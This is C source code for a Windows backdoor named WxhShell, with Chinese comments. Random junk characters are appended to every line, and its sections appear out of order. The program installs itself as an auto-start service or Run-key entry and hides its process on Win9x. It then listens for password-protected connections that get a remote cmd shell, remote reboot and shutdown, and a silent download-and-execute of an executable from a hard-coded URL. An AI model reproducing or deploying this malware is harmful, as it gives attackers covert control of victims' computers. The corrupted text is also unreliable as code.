    if(Boot(SHUTDOWN)) y_* !6Xr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P{8iJ`rBG  
    else { \{Y 7FC~  
    closesocket(wsh); Gt\lFQ  
    ExitThread(0); wg9t)1k{e  
    } *D'22TO[[!  
    break; 9 &$y}Y  
    } 7BE>RE=)  
  // 获取shell xs{3pkTYD  
  case 's': { ]N~2 .h  
    CmdShell(wsh); )1]ZtU  
    closesocket(wsh); GA$V0YQX  
    ExitThread(0); ty8q11[8  
    break; eQ$Y0qH1E  
  } !44/sr'  
  // 退出 6LvW?z(J  
  case 'x': { Q)~aiI0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); b:U$x20n$  
    CloseIt(wsh); t;|@o\  
    break; Xc =Y  
    } MU($|hwiL  
  // 离开 KN^=i5K+Y  
  case 'q': { qEyyT[:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Z_LFIz*c  
    closesocket(wsh); ^P[e1?SZG  
    WSACleanup(); g?c xp +  
    exit(1); NN%*b yK  
    break; 4.k0<  
        } @D]5civm_  
  } [u =+3b  
  } *l"T$H   
E@z<:pG{  
  // 提示信息 &yct!YOB2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _?-E7:Sw  
} LGq'WU31:)  
  } DF&(8NoX~  
oK9( /v  
  return; > $O]Eu!  
} Z-$[\le  
$POu\TO  
// shell模块句柄 )cW#Rwu_A4  
int CmdShell(SOCKET sock) gt\E`HB8E  
{ 3$9s\<j  
STARTUPINFO si; O\ GEay2  
ZeroMemory(&si,sizeof(si)); l3{-z4mw  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "0V.V>-p  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?1*cO:O  
PROCESS_INFORMATION ProcessInfo; 8Q.T g.  
char cmdline[]="cmd"; ])[[ V!1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); OyStqi  
  return 0; )\1QJ$-M&  
} U#0Q)  
46}g7skD  
// 自身启动模式 .O DU  
int StartFromService(void) ]MqMQLG0t  
{ OsTc5K.U~  
typedef struct (j%~u&+-  
{ MS nG3]{z  
  DWORD ExitStatus; %2}-2}[>  
  DWORD PebBaseAddress; ADz ^\  
  DWORD AffinityMask; fZ6MSAh  
  DWORD BasePriority; 2+RUTOv/d  
  ULONG UniqueProcessId; VRVO-Sk  
  ULONG InheritedFromUniqueProcessId; M  f}~{+  
}   PROCESS_BASIC_INFORMATION; c_dVWh e  
~G)S   
PROCNTQSIP NtQueryInformationProcess; I )~GZ  
;d@#XIS&-(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 'S20\hwt-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <kfnpB=  
({ +!`}GY  
  HANDLE             hProcess; %Si6]3-^@  
  PROCESS_BASIC_INFORMATION pbi; To\QjP-  
OstQqV%@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); GiJ *Wp  
  if(NULL == hInst ) return 0; Oz w.siD  
I!ED?n  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); jkQ*D(;p  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); t^UxR@l<K|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ud63f` W]4  
0B[="rTS7#  
  if (!NtQueryInformationProcess) return 0; v|Pv 03%?7  
bYcV$KJk  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]N/=Dd+|  
  if(!hProcess) return 0; uY{|szC^2  
!-g{[19\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; R &n Pj~  
UgRhWV~f0  
  CloseHandle(hProcess);  |{&{  
d}OTO10  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \|n- O=}=2  
if(hProcess==NULL) return 0; gGR"Z]DBk  
*~2,/D  
HMODULE hMod; XP`Nf)3{Yd  
char procName[255]; _Mi5g_  
unsigned long cbNeeded; j9m_jv  
~Q*%DRd&Z-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >|J`s~?  
\0A3]l  
  CloseHandle(hProcess); hl;u'_AB  
<c*FCblv  
if(strstr(procName,"services")) return 1; // 以服务启动 CYt?,qk-r  
N' F77 .  
  return 0; // 注册表启动 tCw<Ip  
} %3s1z<;R[S  
*}Xf!"I#]N  
// 主模块 :Oy%a'w   
int StartWxhshell(LPSTR lpCmdLine) f<-Jg  
{ pLl(iNf]  
  SOCKET wsl; s'3 s^Dd  
BOOL val=TRUE; We)xB  
  int port=0; oph}5Krd)  
  struct sockaddr_in door; ;^+\K-O]c  
.7^c@i[  
  if(wscfg.ws_autoins) Install(); .4S.>~^7  
]z;P9B3@&  
port=atoi(lpCmdLine); Qo>b*Ku;  
;$HftG>B  
if(port<=0) port=wscfg.ws_port; .28<tEf  
YP 6` L  
  WSADATA data; -<6\1J  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; } j<)L,  
__uA}f Zp  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _,kj:R.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /pm]BC  
  door.sin_family = AF_INET; CMe 06^U   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); p}&#jE  
  door.sin_port = htons(port); XWn VgY s  
'QJ:`)z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y1L[;)Hn  
closesocket(wsl); Uq[>_"}  
return 1; uyO/55;HO  
} m&xW6!x  
``V" D  
  if(listen(wsl,2) == INVALID_SOCKET) { WJ$bf(X*  
closesocket(wsl); i1UiNJh86  
return 1; ks&*O!h  
} #TeG-sFJg@  
  Wxhshell(wsl); ]"r&]qx7  
  WSACleanup(); 4hO!\5-w:  
w2 ;eh]k  
return 0; ]5mnew  
x`U^OLV  
} 2SD`OABf#  
.rO]M:UY  
// 以NT服务方式启动 H=@}=aPf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [I0:=yJ+  
{ C'G/AU  
DWORD   status = 0; \<.+rqa!  
  DWORD   specificError = 0xfffffff; 63^O|y\W8  
VQ"hUX8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8H;t_B  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?TM ,Q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %!]@J[*1  
  serviceStatus.dwWin32ExitCode     = 0; P !AEf#1  
  serviceStatus.dwServiceSpecificExitCode = 0; 3("_Z%  
  serviceStatus.dwCheckPoint       = 0; f6EZ( v  
  serviceStatus.dwWaitHint       = 0; \"qY"V  
Olt `:;j-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ) dn(G@5  
  if (hServiceStatusHandle==0) return; T m,b,hi$  
2- &k^Gl!:  
status = GetLastError(); nx@=>E+a  
  if (status!=NO_ERROR) 3?[dE<  
{ < nXL  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ht7l- AK  
    serviceStatus.dwCheckPoint       = 0; 00'%EYO  
    serviceStatus.dwWaitHint       = 0; :X0k]p  
    serviceStatus.dwWin32ExitCode     = status; %WSo b@f8  
    serviceStatus.dwServiceSpecificExitCode = specificError; V\t.3vT  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); BD68$y  
    return; @"hb) 8ng  
  } nePfu G]Q  
N< |@ymi  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; kEJj=wx  
  serviceStatus.dwCheckPoint       = 0; .GV;+8HzS  
  serviceStatus.dwWaitHint       = 0; zepm!JR1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); x%}^hiO<q  
} ,">]`|?  
8hXl%{6d3  
// 处理NT服务事件,比如:启动、停止 RzxNbeki[W  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;P;-}u  
{ a,xycX:U  
switch(fdwControl) ks"|}9\%<  
{ S-Wzour,  
case SERVICE_CONTROL_STOP: S\4tzz @  
  serviceStatus.dwWin32ExitCode = 0; B&\IGWG(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; FR$:"  
  serviceStatus.dwCheckPoint   = 0; W6f/T3  
  serviceStatus.dwWaitHint     = 0; 4S5,w(6N  
  { ao%NK<Lt  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &wi e]  
  } Uhe=h&e2k@  
  return; JX -' mV`  
case SERVICE_CONTROL_PAUSE: 4y)P>c  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; | 1E|hh@k  
  break; |s'Po^Sy  
case SERVICE_CONTROL_CONTINUE: &atuK*W>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; esHg'8?U  
  break; lH-/L(h2  
case SERVICE_CONTROL_INTERROGATE: Z9:-rcr  
  break; M|6A0m#Q  
}; rv &<{@AS~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _hN\10ydY  
} G.rrv  
XR+Y=R  
// 标准应用程序主函数 Kw -gojZ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) p qfUW+>  
{ Y -pzy']4  
.JYaH?  
// 获取操作系统版本 }B8IBveu  
OsIsNt=GetOsVer(); IT(lF  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Rd2qe /  
#,,d>e  
  // 从命令行安装 [ad@*KFxy3  
  if(strpbrk(lpCmdLine,"iI")) Install(); aAJU`=uq  
I`p+Qt  
  // 下载执行文件 C3eR)Yh  
if(wscfg.ws_downexe) { Inn@2$m~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) i'4B3  
  WinExec(wscfg.ws_filenam,SW_HIDE); !>v2i"  
} {wO3<9  
^c<ucv6.  
if(!OsIsNt) { wLmhy,  
// 如果时win9x,隐藏进程并且设置为注册表启动 Qc gRAo+u  
HideProc(); *i]=f6G  
StartWxhshell(lpCmdLine); 1xD=ffM>8N  
} WfWN(:dF  
else "^4_@ oo  
  if(StartFromService()) t?q@H8  
  // 以服务方式启动 h?rp|uPQ  
  StartServiceCtrlDispatcher(DispatchTable); 'h/CoTk@,  
else a d.3A{  
  // 普通方式启动 G"\`r* O  
  StartWxhshell(lpCmdLine); I Y2)?"A  
4xk|F'6K  
return 0; uv=.2U46  
} U F?H>Y&  
iTFdN}U  
)0ea+ ib  
(5#nrF]  
=========================================== 0*rQ3Z  
N03HQp)g  
2r!s*b\Ix  
Zw*v  
!_`&Wks  
4#ug]X4Y')  
" 8)O[Aq::  
bu |a0h7e  
#include <stdio.h> {XNREjhm  
#include <string.h> hJn%mdx~w|  
#include <windows.h> crqpV F]1]  
#include <winsock2.h> V=zi >o`   
#include <winsvc.h> Qy.w=80kf  
#include <urlmon.h> "5-^l.CKH  
cV 5CaaL  
#pragma comment (lib, "Ws2_32.lib") 6I1,:nLL<  
#pragma comment (lib, "urlmon.lib") )=5ng-  
3{ LP?w:@  
#define MAX_USER   100 // 最大客户端连接数 ]vgB4~4#LP  
#define BUF_SOCK   200 // sock buffer ;ado0-VQi'  
#define KEY_BUFF   255 // 输入 buffer T^w36}a  
LJ*q1 ;<E  
#define REBOOT     0   // 重启  86(I^=  
#define SHUTDOWN   1   // 关机 I|>^1kr8w  
e?opkq\f  
#define DEF_PORT   5000 // 监听端口 IIg^FZ*]_  
LNrX;{ Z  
#define REG_LEN     16   // 注册表键长度 MZlk0o2  
#define SVC_LEN     80   // NT服务名长度 9/hrjItV  
OlAs'TE^  
// 从dll定义API Q?3Gk%T0[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *"D3E7AO  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5"HV BfFk  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?*E'^~,H)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); t"k*PA  
- M[$Zy^  
// wxhshell配置信息 q8^^H$<Db  
struct WSCFG { %F!1  
  int ws_port;         // 监听端口 #>%X_o-o23  
  char ws_passstr[REG_LEN]; // 口令 X=hYB}}nu  
  int ws_autoins;       // 安装标记, 1=yes 0=no BDq%'~/^  
  char ws_regname[REG_LEN]; // 注册表键名 9:,V5n=  
  char ws_svcname[REG_LEN]; // 服务名 RnhL< Ywu  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,_yh z0.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /x5rf  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Hj:r[/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no oN{Z+T :  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" O) WCW<p  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 XLAN Np%E  
FP;Ccl"s  
}; s0DGC  
.Jt[(;  
// default Wxhshell configuration $/.zm; D  
struct WSCFG wscfg={DEF_PORT, lD"(MQV@0  
    "xuhuanlingzhe", uM_#  
    1, iTag+G4*  
    "Wxhshell", "kMguK}c  
    "Wxhshell", wm)#[x #  
            "WxhShell Service", | \'rP_I>  
    "Wrsky Windows CmdShell Service", W6"v)Jc>_  
    "Please Input Your Password: ", 3 |hHR  
  1, qxFB%KqU  
  "http://www.wrsky.com/wxhshell.exe", eU<]o< \Qo  
  "Wxhshell.exe" O+?<h{"  
    }; GFel(cx:K  
ag*mG*Z  
// 消息定义模块 m9"n4a|:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  /o[?D  
char *msg_ws_prompt="\n\r? for help\n\r#>"; wQwQXNG  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6`v7c!7  
char *msg_ws_ext="\n\rExit."; \RvvHty-V  
char *msg_ws_end="\n\rQuit."; 7N:Y?Hi\  
char *msg_ws_boot="\n\rReboot..."; 6ek;8dL  
char *msg_ws_poff="\n\rShutdown..."; e'0{?B  
char *msg_ws_down="\n\rSave to "; Md0 s K  
EmODBTu+  
char *msg_ws_err="\n\rErr!"; -PS#Z0>  
char *msg_ws_ok="\n\rOK!"; ve% xxn:  
\8<BLmf4U  
char ExeFile[MAX_PATH]; Hm$=h>rY9[  
int nUser = 0; =,Dqqf  
HANDLE handles[MAX_USER]; WAn~ +=Ax  
int OsIsNt; B>GE 9y5  
=0G!f$7^i  
SERVICE_STATUS       serviceStatus; qe!fk?T}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =Qgt${|  
h"_~7 jq"  
// 函数声明 AwslWkd=  
int Install(void); h\nI!{A0  
int Uninstall(void); NGOqy+Ty{f  
int DownloadFile(char *sURL, SOCKET wsh); \hhmVt@@  
int Boot(int flag); ]3g?hM6  
void HideProc(void); EI:w aIr  
int GetOsVer(void); PB#fP_0C  
int Wxhshell(SOCKET wsl); mml<9fbH  
void TalkWithClient(void *cs); 6(G?MW.  
int CmdShell(SOCKET sock); Gi "941zVl  
int StartFromService(void); <L`"!~Q  
int StartWxhshell(LPSTR lpCmdLine); J2j U4mR  
i{ \%e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \'9PZ6q{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); cG?cUw).E  
n84GZ5O>7  
// 数据结构和表定义 | fSe>uVZ  
SERVICE_TABLE_ENTRY DispatchTable[] = U7I qST  
{ Kt"BE j  
{wscfg.ws_svcname, NTServiceMain}, Nkp)Ax&  
{NULL, NULL} 6S+U&Ce\  
}; ]p;FZ4-T  
tkXEHsRT  
// 自我安装 ;$a@J&  
int Install(void) q*2N{  
{ RTv qls  
  char svExeFile[MAX_PATH]; lWqrU1Sjl  
  HKEY key; %-<'QYYP  
  strcpy(svExeFile,ExeFile); #/I[Jqf  
]|sAK%/  
// 如果是win9x系统,修改注册表设为自启动  nv0]05.4  
if(!OsIsNt) { NMww>80  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vP !{",>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K^ B%/T]d  
  RegCloseKey(key); J,zO2572u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4"xPr[=iG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cCa|YW^j  
  RegCloseKey(key); WHlYo5?  
  return 0; gS:A'@&  
    } Oi:<~E[kz.  
  } Op>%?W8/UF  
} ,2j.<g&   
else { 5vw{b?  
^|TG$`M(w  
// 如果是NT以上系统,安装为系统服务 xCYE B}o9r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); c wOJy >  
if (schSCManager!=0) =IUUeFv +r  
{ _>v<(7  
  SC_HANDLE schService = CreateService fgBM_c&9T  
  ( 1&P<  
  schSCManager, cKn`/\.H  
  wscfg.ws_svcname, `\m*+Bk[5  
  wscfg.ws_svcdisp, :OW ;?{ ~j  
  SERVICE_ALL_ACCESS, Bf$_XG3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #?XQ7Im  
  SERVICE_AUTO_START, l2&`J_"  
  SERVICE_ERROR_NORMAL, # hlCs  
  svExeFile, P9S2?Q  
  NULL, |QMhMGjV  
  NULL, V=lfl1Ev0J  
  NULL, I8QjKI (  
  NULL, l983vKr  
  NULL 9 JWa$iBH@  
  ); JXw^/Y$  
  if (schService!=0) ~j-cS J3  
  { #Jna6  
  CloseServiceHandle(schService); HmZ{L +"  
  CloseServiceHandle(schSCManager); uio@r^Xz  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @]![o %  
  strcat(svExeFile,wscfg.ws_svcname); bcAvM;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !wWJ^Oz=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]r-C1bKD`  
  RegCloseKey(key); 11,!XD*"  
  return 0; efD)S92  
    } %%Qo2^-  
  } 5l,ZoB8  
  CloseServiceHandle(schSCManager); Fh*j#*oe  
} wQ%mN[  
} Uz7^1.-g4  
0v]?6wX  
return 1; l$YC/ bP  
} b9"jtRTdz  
>/#KI~}'N  
// 自我卸载 _ ib"b#  
int Uninstall(void) #BQ.R,  
{ $z$u{  
  HKEY key; 7c;9$j  
jr)7kP@  
if(!OsIsNt) { Ed:eGm }  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0x9x@gF  
  RegDeleteValue(key,wscfg.ws_regname); iA,kX\nK  
  RegCloseKey(key); <BW[1h1k5_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f"( X(1F  
  RegDeleteValue(key,wscfg.ws_regname); c5Q<$86  
  RegCloseKey(key); ^{\<N()R  
  return 0; (708H_  
  } c)Ic#<e(  
} DaH?@Q  
} gZEi]/8_  
else { Uh'#izm[l  
Lgz$]Jbl8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2jbIW*  
if (schSCManager!=0) $46{<4.  
{ -!)xQvagD.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); x)UwV  
  if (schService!=0) &h~Xq^  
  { 4HAp{a1  
  if(DeleteService(schService)!=0) { ||zb6|7I4  
  CloseServiceHandle(schService); : iiw3#]  
  CloseServiceHandle(schSCManager); J|3E-p\o  
  return 0; qClHP)<  
  } HK~xOAF  
  CloseServiceHandle(schService); ,KJw|x4}\  
  } UYA_jpIP  
  CloseServiceHandle(schSCManager); e;GU T:  
} 2..,Sk  
} I2 a6w<b  
?go:e#  
return 1; l_j4DQBRV  
} O}[PJfvBHo  
[I:KpAd/  
// 从指定url下载文件 DOz\n|8S  
int DownloadFile(char *sURL, SOCKET wsh) ~w</!s  
{ HK)cKzG[s!  
  HRESULT hr; j,d*?'X  
char seps[]= "/"; X1tXqHJF}  
char *token; t |W)   
char *file; -B$~`2-  
char myURL[MAX_PATH]; u4"SH(  
char myFILE[MAX_PATH]; Uu7dSU  
i-U4RZE  
strcpy(myURL,sURL); za'6Y*CGgX  
  token=strtok(myURL,seps); hCYQGx0  
  while(token!=NULL) |+U<S~  
  { HP.E3yYK  
    file=token; +Ug/rtK4   
  token=strtok(NULL,seps); Kd3?I5t  
  } iU+nqY'  
aS}1Q?cU  
GetCurrentDirectory(MAX_PATH,myFILE); &t(0E:^TRU  
strcat(myFILE, "\\"); #tdf>?  
strcat(myFILE, file); ^+SkCO  
  send(wsh,myFILE,strlen(myFILE),0); PS S?|Vk  
send(wsh,"...",3,0); 'O6]0l  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Gq#~vr  
  if(hr==S_OK) !TAp+b  
return 0; "&Qctk`<P  
else @mt0kV9  
return 1; \uG`|D n  
-xg2q V\c  
} uE=$p)  
( #Z`  
// 系统电源模块 xw<OLWW  
int Boot(int flag) W/=|/-\]/  
{ f-2$ L  
  HANDLE hToken; 8_H=^a>2  
  TOKEN_PRIVILEGES tkp; k#}g,0@  
?hYqcT[%  
  if(OsIsNt) { !}M,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2}vg U$a  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #(LfYw.P1V  
    tkp.PrivilegeCount = 1; O;[9_[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; dz#5q-r  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); kHc<*L_ V  
if(flag==REBOOT) { %OcGdbs  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 'rb'7=z5  
  return 0; .r+hERcB  
} (IbW; bV  
else { [O ",  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9^F2$+T[:  
  return 0; 8 iC:xcN3  
} 2WvN2" f3  
  } Ap\AP{S4  
  else { V+wH?H=  
if(flag==REBOOT) { n uQM^2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :Zw @yt  
  return 0; MVv1.6c7Y  
} 7@%'wy&A  
else { Aw!gSf)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^] p  
  return 0; /DS?}I.*]  
} ps:f=6m2  
} P`1EPF  
_DPOyR2  
return 1; FrTg4  
} 0m9ZQ O  
bzmr"/#D3  
// win9x进程隐藏模块 '_+9y5  
void HideProc(void) ^b?2N/m@  
{ 2 4\g bv<  
PHM:W%g:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "L& k)J  
  if ( hKernel != NULL ) g+zJ?  
  { u3tZ[Y2 c  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (9fdljl],:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); a?cn9i)#  
    FreeLibrary(hKernel); 5iFV;W  
  } VFD%h }  
MN;/*t  
return; X}4}&  
} nw'-`*'rj  
CidM(  
// 获取操作系统版本 _.18z+  
int GetOsVer(void) SjcL#S($&Y  
{ BZ+-p5]-  
  OSVERSIONINFO winfo; r;cV&T/?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); R -elIp  
  GetVersionEx(&winfo); :_dICxaLZT  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ySN V^+  
  return 1; DhKr;e  
  else rE!1wc>L  
  return 0; &b C}3D  
} sJr5t?  
73NZ:h%=  
// 客户端句柄模块 FY;+PY@I{  
int Wxhshell(SOCKET wsl) >X Qv?5  
{ ,qFA\cO*  
  SOCKET wsh; ~0tdfK0c  
  struct sockaddr_in client; yDd[e]zS`  
  DWORD myID; 8LM #WIm?  
jPu5nwvUV>  
  while(nUser<MAX_USER) =LH}YUmd  
{ udqge?Tz  
  int nSize=sizeof(client); aSnp/g  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); CUmH,`hu  
  if(wsh==INVALID_SOCKET) return 1; 89eq[ |G_  
$G?(OWI}l`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %|Hp Bs#'  
if(handles[nUser]==0) ~\_T5/I%  
  closesocket(wsh); .{rbw9  
else H"YL k  
  nUser++; j64 4V|z  
  } $@[)nvV\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =q CF%~  
%JoxYy-  
  return 0; Xza4iV  
} w{7 ji}  
] V G?+  
// 关闭 socket saK;[&I*  
void CloseIt(SOCKET wsh) (ppoW  
{ ;( K MGir  
closesocket(wsh); WVL#s?=g  
nUser--; J 3?Dj  
ExitThread(0); $Lq:=7&LRn  
} J1 tDO?  
6mG3fMih.  
// 客户端请求句柄 :k"rhI  
void TalkWithClient(void *cs) $AwZ2HY  
{ ILG?r9 x  
m4**>!I  
  SOCKET wsh=(SOCKET)cs; 1MQ/ r*(  
  char pwd[SVC_LEN]; D zDj)7  
  char cmd[KEY_BUFF]; 1$["79k  
char chr[1]; _`aR_ %Gx  
int i,j; 5d 5t9+t  
=:5<{J OG  
  while (nUser < MAX_USER) { a&5g!;.  
APHPN:v  
if(wscfg.ws_passstr) { h(:<(o@<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VO9f~>`(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ofwQ:0@  
  //ZeroMemory(pwd,KEY_BUFF); qC j*>D  
      i=0; ep?:;98|t  
  while(i<SVC_LEN) { 6F5,3&  
~zMKVM1Q.,  
  // 设置超时 @ M[Q$:  
  fd_set FdRead; mU]s7` %<>  
  struct timeval TimeOut; r{"uv=,`  
  FD_ZERO(&FdRead); .Vh*Z<9S4  
  FD_SET(wsh,&FdRead); |3@=CE7G  
  TimeOut.tv_sec=8; i[=C_+2  
  TimeOut.tv_usec=0; FGVb@=TO>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); u5E/m  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); XtW_  
4I ,o&TK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pN k8! k  
  pwd=chr[0]; a!u3 HS-i  
  if(chr[0]==0xd || chr[0]==0xa) { R~c1)[[E  
  pwd=0; Jk*QcEE=  
  break; Ao*FcrXN  
  } A}4t9|/K6  
  i++;  ^@q#$/z  
    } h6FgS9H  
:@e\'~7sH  
  // 如果是非法用户,关闭 socket GN%<"I.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); w a.f![  
} |uQ[W17^N  
> ZDC . ~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); q] ZSj J  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); syMm`/*/G-  
?z"YC&Tp  
while(1) { _S<?t9mS  
'?k' 6R$'\  
  ZeroMemory(cmd,KEY_BUFF); rIPl6,w~  
`r.N  
      // 自动支持客户端 telnet标准   ?d,M.o{0]  
  j=0; 5 ZUy:  
  while(j<KEY_BUFF) { >W~=]&7{s4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J" wKRy  
  cmd[j]=chr[0]; {e6 KJ@H6  
  if(chr[0]==0xa || chr[0]==0xd) { &G=0  
  cmd[j]=0; =BW9/fG  
  break; GWh|FEqUbf  
  } iE+6UK  
  j++; yjv&4pIc1  
    } $P_x v  
~bFdJj 1*  
  // 下载文件 K Dz]wNf  
  if(strstr(cmd,"http://")) { %%x0w^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); r4S=I   
  if(DownloadFile(cmd,wsh)) .r*#OUC  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); , #Ln/;  
  else F#^L9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #rq?f  
  } ze$Y=<S  
  else { QP<FCmt8  
"$Y(NFb  
    switch(cmd[0]) { jB/V{Y#y9@  
  6*V8k%H  
  // 帮助 }2mI*"%)\u  
